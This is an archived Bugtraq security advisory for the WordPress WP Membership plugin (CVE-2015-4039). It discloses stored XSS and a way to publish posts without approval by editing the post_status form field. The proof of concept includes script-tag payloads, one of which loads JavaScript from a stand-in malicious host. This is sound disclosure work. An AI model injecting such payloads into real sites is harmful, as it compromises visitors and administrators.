Bugtraq mailing list archives

CVE-2015-4039 - WordPress WP Membership plugin [Stored XSS]


From: pan.vagenas () gmail com
Date: Mon, 1 Jun 2015 17:44:10 GMT

# Exploit Title: CVE-2015-4039 - WordPress WP Membership plugin [Stored XSS]
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://wpmembership.e-plugins.com/
# Software Link: http://codecanyon.net/item/wp-membership/10066554
# Version: 1.2.3
# Tested on: WordPress 4.2.2
# CVE: CVE-2015-4039

=============================================
* 1. Stored XSS
=============================================

1.1 Description
  
All input fields from registered users aren't properly escaped. This could lead to an XSS attack that could possibly 
affect all visitors of the website, including administators.
  
1.2 Proof of Concept

* Login as regular user
* Update any field of your profile appending at the end
        `<script>alert('XSS');</script>` 
        or 
        `<script src=”http://malicious .server/my_malicious_script.js”/>`
  
1.3 Actions taken after discovery

Vendor was informed on 2015/05/19.
  
1.4 Solution
  
No official solution yet exists.

=============================================
* 2. Unauthorized post publish and stored XSS
=============================================

2.1 Description
  
Registered users can publish a post without administrator confirmation. Normally all posts submitted  by users 
registered with WP Membership plugin are stored with the status `pending`. A malicious user though can publish his post 
by crafting the form is used for submission.
  
2.2 Proof of Concept

* Login as regular user
 whom belongs to a group that can submit new posts
* Visit the `New Post` section at your profile
* Change field `post_status`:
        <select id="post_status" class="form-control" name="post_status">
                <option value="publish" selected=”selected”>Pending Review</option>
                <option value="draft">Draft</option>
        </select>

The post gets immediately published after you submit the form and is visible to all visitors of the website.

In addition a stored XSS attack can be performed due to insufficient escaping of the post content input.
  
2.3 Actions taken after discovery

Vendor was informed on 2015/05/19.
  
2.4 Solution
  
No official solution yet exists.

2.5 Workaround

Prevent users from submitting new posts through the relative option in plugin's settings


Current thread: